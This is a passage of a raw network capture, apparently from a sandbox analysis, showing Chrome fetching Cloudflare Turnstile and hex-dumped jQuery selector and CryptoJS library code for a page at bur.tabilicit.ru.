n;return-1},R="checked\|selected\|async\|autofocus\|autoplay\|controls\|defer\|disabled\|hidden\|ismap\|loop\|multiple\|open\|readonly\|required\|scoped",M="[\\x20\\t
2025-01-11 00:11:47 UTC	1378	IN	Data Raw: 2c 65 65 3d 2f 5b 2b 7e 5d 2f 2c 74 65 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5c 5c 5c 5c 5b 5c 5c 64 61 2d 66 41 2d 46 5d 7b 31 2c 36 7d 22 2b 4d 2b 22 3f 7c 5c 5c 5c 5c 28 5b 5e 5c 5c 72 5c 5c 6e 5c 5c 66 5d 29 22 2c 22 67 22 29 2c 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 30 78 22 2b 65 2e 73 6c 69 63 65 28 31 29 2d 36 35 35 33 36 3b 72 65 74 75 72 6e 20 74 7c 7c 28 6e 3c 30 3f 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 2b 36 35 35 33 36 29 3a 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 3e 3e 31 30 7c 35 35 32 39 36 2c 31 30 32 33 26 6e 7c 35 36 33 32 30 29 29 7d 2c 72 65 3d 2f 28 5b 5c 30 2d 5c 78 31 66 5c 78 37 66 5d 7c 5e 2d 3f 5c 64 29 7c 5e 2d 24 7c 5b 5e 5c 30 2d 5c 78 31 66 5c Data Ascii: ,ee=/[+~]/,te=new RegExp("\\\\[\\da-fA-F]{1,6}"+M+"?\|\\\\([^\\r\\n\\f])","g"),ne=function(e,t){var n="0x"+e.slice(1)-65536;return t\|\|(n<0?String.fromCharCode(n+65536):String.fromCharCode(n>>10\|55296,1023&n\|56320))},re=/([\0-\x1f\x7f]\|^-?\d)\|^-$\|[^\0-\x1f\
2025-01-11 00:11:47 UTC	1378	IN	Data Raw: 29 29 7b 28 66 3d 65 65 2e 74 65 73 74 28 74 29 26 26 79 65 28 65 2e 70 61 72 65 6e 74 4e 6f 64 65 29 7c 7c 65 29 3d 3d 3d 65 26 26 64 2e 73 63 6f 70 65 7c 7c 28 28 73 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 29 3f 73 3d 73 2e 72 65 70 6c 61 63 65 28 72 65 2c 69 65 29 3a 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 2c 73 3d 53 29 29 2c 6f 3d 28 6c 3d 68 28 74 29 29 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 6f 2d 2d 29 6c 5b 6f 5d 3d 28 73 3f 22 23 22 2b 73 3a 22 3a 73 63 6f 70 65 22 29 2b 22 20 22 2b 78 65 28 6c 5b 6f 5d 29 3b 63 3d 6c 2e 6a 6f 69 6e 28 22 2c 22 29 7d 74 72 79 7b 72 65 74 75 72 6e 20 48 2e 61 70 70 6c 79 28 6e 2c 66 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 63 29 29 2c 6e 7d 63 61 74 63 68 28 Data Ascii: )){(f=ee.test(t)&&ye(e.parentNode)\|\|e)===e&&d.scope\|\|((s=e.getAttribute("id"))?s=s.replace(re,ie):e.setAttribute("id",s=S)),o=(l=h(t)).length;while(o--)l[o]=(s?"#"+s:":scope")+" "+xe(l[o]);c=l.join(",")}try{return H.apply(n,f.querySelectorAll(c)),n}catch(
2025-01-11 00:11:47 UTC	1378	IN	Data Raw: 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 61 28 5b 5d 2c 65 2e 6c 65 6e 67 74 68 2c 6f 29 2c 69 3d 72 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 69 2d 2d 29 65 5b 6e 3d 72 5b 69 5d 5d 26 26 28 65 5b 6e 5d 3d 21 28 74 5b 6e 5d 3d 65 5b 6e 5d 29 29 7d 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 79 65 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 26 26 65 7d 66 6f 72 28 65 20 69 6e 20 64 3d 73 65 2e 73 75 70 70 6f 72 74 3d 7b 7d 2c 69 3d 73 65 2e 69 73 58 4d 4c 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 26 26 65 2e 6e 61 6d 65 73 70 61 63 65 55 52 49 2c 6e 3d 65 26 26 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c Data Ascii: ion(e,t){var n,r=a([],e.length,o),i=r.length;while(i--)e[n=r[i]]&&(e[n]=!(t[n]=e[n]))})})}function ye(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}for(e in d=se.support={},i=se.isXML=function(e){var t=e&&e.namespaceURI,n=e&&(e.ownerDocument\|
2025-01-11 00:11:47 UTC	1322	IN	Data Raw: 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 65 2e 72 65 70 6c 61 63 65 28 74 65 2c 6e 65 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 26 26 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 3b 72 65 74 75 72 6e 20 74 26 26 74 2e 76 61 6c 75 65 3d 3d 3d 6e 7d 7d 2c 62 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 45 29 7b 76 61 72 20 6e 2c 72 2c 69 2c 6f 3d 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 65 29 3b 69 66 28 6f 29 7b 69 66 28 28 Data Ascii: tion(e){var n=e.replace(te,ne);return function(e){var t="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return t&&t.value===n}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n,r,i,o=t.getElementById(e);if(o){if((
2025-01-11 00:11:47 UTC	1378	IN	Data Raw: 6c 64 28 74 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 6e 61 6d 65 3d 27 27 5d 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 5c 5c 5b 22 2b 4d 2b 22 2a 6e 61 6d 65 22 2b 4d 2b 22 2a 3d 22 2b 4d 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 53 2b 22 2b 2a 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 2e 23 2e 2b 5b 2b 7e 5d 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5c 5c 5c 66 22 29 2c 76 2e 70 75 73 68 28 22 5b 5c 5c 72 5c 5c 6e 5c 5c Data Ascii: ld(t),e.querySelectorAll("[name='']").length\|\|v.push("\\["+M+"name"+M+"="+M+"(?:''\|\"\")"),e.querySelectorAll(":checked").length\|\|v.push(":checked"),e.querySelectorAll("a#"+S+"+").length\|\|v.push(".#.+[+~]"),e.querySelectorAll("\\\f"),v.push("[\\r\\n\\
2025-01-11 00:11:47 UTC	1378	IN	Data Raw: 74 75 72 6e 21 31 7d 2c 6a 3d 74 3f 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 65 3d 3d 3d 74 29 72 65 74 75 72 6e 20 6c 3d 21 30 2c 30 3b 76 61 72 20 6e 3d 21 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 2d 21 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 6e 7c 7c 28 31 26 28 6e 3d 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 65 29 3d 3d 28 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 74 29 3f 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 74 29 3a 31 29 7c 7c 21 64 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 65 29 3d 3d 3d 6e 3f 65 3d 3d 43 Data Ascii: turn!1},j=t?function(e,t){if(e===t)return l=!0,0;var n=!e.compareDocumentPosition-!t.compareDocumentPosition;return n\|\|(1&(n=(e.ownerDocument\|\|e)==(t.ownerDocument\|\|t)?e.compareDocumentPosition(t):1)\|\|!d.sortDetached&&t.compareDocumentPosition(e)===n?e==C

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.16	49716	104.18.94.41	443	6688	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 00:11:47 UTC	648	OUT	GET /turnstile/v0/api.js?render=explicit HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bur.tabilicit.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 00:11:47 UTC	386	IN	HTTP/1.1 302 Found Date: Sat, 11 Jan 2025 00:11:47 GMT Content-Length: 0 Connection: close access-control-allow-origin: * cache-control: max-age=300, stale-if-error=10800, stale-while-revalidate=300, public cross-origin-resource-policy: cross-origin location: /turnstile/v0/b/e0c90b6a3ed1/api.js Server: cloudflare CF-RAY: 9000b1049b0518b4-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.16	49718	104.17.25.14	443	6688	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 00:11:47 UTC	650	OUT	GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bur.tabilicit.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 00:11:47 UTC	964	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 00:11:47 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"61182885-40eb" Last-Modified: Sat, 14 Aug 2021 20:33:09 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 212118 Expires: Thu, 01 Jan 2026 00:11:47 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WTtC0sfinYFgeaoowg7F5Woca%2BJ0h26WpX3hw%2F%2BvyZagtyD8UXEvq2twUoGebfbgXpDRdQ%2BwLToFwlQShcKmdxVSmSYztKV0eaRz5s1DIo14NaZgTLPYh28rmjnUq%2BDHpvuidl9%2F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 9000b104ca690fa1-EWR alt-svc: h3=":443"; ma=86400
2025-01-11 00:11:47 UTC	405	IN	Data Raw: 37 62 65 64 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 2c 6f 2c 73 2c 61 2c 68 2c 74 2c 65 2c 6c 2c 72 2c 69 2c 63 2c 66 2c 64 2c 75 2c 70 2c 53 2c 78 2c 62 2c 41 2c 48 2c 7a 2c 5f 2c 76 2c 67 2c 79 2c 42 2c 77 2c 6b 2c 6d 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 3d 55 7c 7c 66 75 6e 63 74 69 6f 6e 28 68 29 7b Data Ascii: 7bed!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){
2025-01-11 00:11:47 UTC	1369	IN	Data Raw: 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3f 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 69 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 76 61 72 20 72 3d 4f 62 6a 65 63 Data Ascii: typeof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Objec
2025-01-11 00:11:47 UTC	1369	IN	Data Raw: 6c 6f 6e 65 2e 63 61 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 77 6f 72 64 73 3d 74 68 69 73 2e 77 6f 72 64 73 2e 73 6c 69 63 65 28 30 29 2c 74 7d 2c 72 61 6e 64 6f 6d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 72 3d 30 3b 72 3c 74 3b 72 2b 3d 34 29 65 2e 70 75 73 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 69 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 29 74 72 79 7b 72 65 74 75 72 6e 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 31 29 29 5b 30 5d 7d 63 61 74 63 68 28 74 29 7b 7d 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 72 61 6e 64 6f 6d Data Ascii: lone.call(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],r=0;r<t;r+=4)e.push(function(){if(i){if("function"==typeof i.getRandomValues)try{return i.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof i.random
2025-01-11 00:11:47 UTC	1369	IN	Data Raw: 22 3d 3d 74 79 70 65 6f 66 20 74 26 26 28 74 3d 66 2e 70 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 68 2e 63 65 69 6c 28 73 29 3a 68 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 6e 3d 68 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 61 3d Data Ascii: "==typeof t&&(t=f.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?h.ceil(s):h.max((0\|s)-this._minBufferSize,0))o,n=h.min(4*c,n);if(c){for(var a=
2025-01-11 00:11:47 UTC	1369	IN	Data Raw: 7b 66 6f 72 28 76 61 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 45 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 45 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 45 5b 31 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 33 5d 3d 65 5b 33 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 32 5d 3e 3e 3e 30 3c 45 5b 32 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 34 5d 3d 65 5b 34 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 33 5d 3e 3e 3e 30 3c 45 5b Data Ascii: {for(var t=this._X,e=this._C,r=0;r<8;r++)E[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<E[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<E[1]>>>0?1:0)\|0,e[3]=e[3]+1295307597+(e[2]>>>0<E[2]>>>0?1:0)\|0,e[4]=e[4]+3545052371+(e[3]>>>0<E[
2025-01-11 00:11:47 UTC	1369	IN	Data Raw: 3f 31 3a 30 3b 66 6f 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 3b 49 5b 72 5d 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 5e 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 28 36 35 35 33 35 26 69 29 2a 69 7c 30 29 7d 74 5b 30 5d 3d 49 5b 30 5d 2b 28 49 5b 37 5d 3c 3c 31 36 7c 49 5b 37 5d 3e 3e 3e 31 36 29 2b 28 49 5b 36 5d 3c 3c 31 36 7c 49 5b 36 5d 3e 3e 3e 31 36 29 7c 30 2c 74 5b 31 5d 3d 49 5b 31 5d 2b 28 49 5b 30 5d 3c 3c 38 7c 49 5b 30 5d 3e 3e 3e 32 34 29 2b 49 5b 37 5d 7c 30 2c 74 5b 32 5d 3d 49 5b 32 5d 2b 28 49 5b 31 5d 3c 3c 31 36 7c 49 5b 31 5d 3e 3e 3e 31 36 29 2b 28 49 5b 30 5d 3c 3c 31 Data Ascii: ?1:0;for(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16;I[r]=((nn>>>17)+no>>>15)+oo^((4294901760&i)i\|0)+((65535&i)*i\|0)}t[0]=I[0]+(I[7]<<16\|I[7]>>>16)+(I[6]<<16\|I[6]>>>16)\|0,t[1]=I[1]+(I[0]<<8\|I[0]>>>24)+I[7]\|0,t[2]=I[2]+(I[1]<<16\|I[1]>>>16)+(I[0]<<1
2025-01-11 00:11:47 UTC	1369	IN	Data Raw: 62 75 66 66 65 72 2c 74 2e 62 79 74 65 4f 66 66 73 65 74 2c 74 2e 62 79 74 65 4c 65 6e 67 74 68 29 3a 74 29 69 6e 73 74 61 6e 63 65 6f 66 20 55 69 6e 74 38 41 72 72 61 79 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 62 79 74 65 4c 65 6e 67 74 68 2c 72 3d 5b 5d 2c 69 3d 30 3b 69 3c 65 3b 69 2b 2b 29 72 5b 69 3e 3e 3e 32 5d 7c 3d 74 5b 69 5d 3c 3c 32 34 2d 69 25 34 2a 38 3b 73 2e 63 61 6c 6c 28 74 68 69 73 2c 72 2c 65 29 7d 65 6c 73 65 20 73 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2e 70 72 6f 74 6f 74 79 70 65 3d 50 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 55 2c 6e 3d 74 2e 6c 69 62 2e 57 6f 72 64 41 72 72 61 79 2c 74 3d 74 2e 65 6e 63 3b 74 2e 55 74 66 31 36 3d 74 2e 55 74 66 31 36 42 45 3d 7b 73 74 72 69 6e 67 Data Ascii: buffer,t.byteOffset,t.byteLength):t)instanceof Uint8Array){for(var e=t.byteLength,r=[],i=0;i<e;i++)r[i>>>2]\|=t[i]<<24-i%4*8;s.call(this,r,e)}else s.apply(this,arguments)}).prototype=P),function(){var t=U,n=t.lib.WordArray,t=t.enc;t.Utf16=t.Utf16BE={string
2025-01-11 00:11:47 UTC	1369	IN	Data Raw: 6f 3d 72 2e 63 68 61 72 41 74 28 36 34 29 3b 72 65 74 75 72 6e 21 6f 7c 7c 2d 31 21 3d 3d 28 6f 3d 74 2e 69 6e 64 65 78 4f 66 28 6f 29 29 26 26 28 65 3d 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 66 6f 72 28 76 61 72 20 69 3d 5b 5d 2c 6e 3d 30 2c 6f 3d 30 3b 6f 3c 65 3b 6f 2b 2b 29 7b 76 61 72 20 73 2c 63 3b 6f 25 34 26 26 28 73 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 2d 31 29 5d 3c 3c 6f 25 34 2a 32 2c 63 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 29 5d 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 63 3d 73 7c 63 2c 69 5b 6e 3e 3e 3e 32 5d 7c 3d 63 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 29 7d 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b Data Ascii: o=r.charAt(64);return!o\|\|-1!==(o=t.indexOf(o))&&(e=o),function(t,e,r){for(var i=[],n=0,o=0;o<e;o++){var s,c;o%4&&(s=r[t.charCodeAt(o-1)]<<o%42,c=r[t.charCodeAt(o)]>>>6-o%42,c=s\|c,i[n>>>2]\|=c<<24-n%4*8,n++)}return a.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJK
2025-01-11 00:11:47 UTC	1369	IN	Data Raw: 2e 61 62 73 28 61 2e 73 69 6e 28 74 2b 31 29 29 7c 30 7d 28 29 3b 65 3d 65 2e 4d 44 35 3d 69 2e 65 78 74 65 6e 64 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 72 2e 69 6e 69 74 28 5b 31 37 33 32 35 38 34 31 39 33 2c 34 30 32 33 32 33 33 34 31 37 2c 32 35 36 32 33 38 33 31 30 32 2c 32 37 31 37 33 33 38 37 38 5d 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 31 36 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 65 2b 72 2c 6e 3d 74 5b 69 5d 3b 74 5b 69 5d 3d 31 36 37 31 31 39 33 35 26 28 6e 3c 3c 38 7c 6e 3e 3e 3e 32 34 29 7c 34 32 37 38 32 35 35 33 36 30 26 28 6e 3c 3c 32 34 7c 6e 3e 3e 3e 38 29 7d 76 61 72 20 Data Ascii: .abs(a.sin(t+1))\|0}();e=e.MD5=i.extend({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8\|n>>>24)\|4278255360&(n<<24\|n>>>8)}var
2025-01-11 00:11:47 UTC	1369	IN	Data Raw: 41 5b 33 39 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 42 2c 34 2c 41 5b 34 30 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 73 2c 31 31 2c 41 5b 34 31 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 68 2c 31 36 2c 41 5b 34 32 5d 29 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 64 2c 32 33 2c 41 5b 34 33 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 5f 2c 34 2c 41 5b 34 34 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 67 2c 31 31 2c 41 5b 34 35 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 6b 2c 31 36 2c 41 5b 34 36 5d 29 2c 6d 3d 44 28 6d 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 61 2c 32 33 2c 41 5b 34 37 5d 29 2c 78 2c 53 2c 73 2c 36 2c 41 5b 34 38 5d 29 2c 53 3d 44 28 53 2c 6d 2c 62 2c 78 2c 75 2c 31 30 2c 41 5b 34 39 5d 29 2c 78 3d 44 28 78 2c 53 2c 6d 2c 62 2c 77 Data Ascii: A[39]),m=C(m,b,x,S,B,4,A[40]),S=C(S,m,b,x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x,S,m,b,k,16,A[46]),m=D(m,b=C(b,x,S,m,a,23,A[47]),x,S,s,6,A[48]),S=D(S,m,b,x,u,10,A[49]),x=D(x,S,m,b,w

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.16	49719	104.18.94.41	443	6688	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
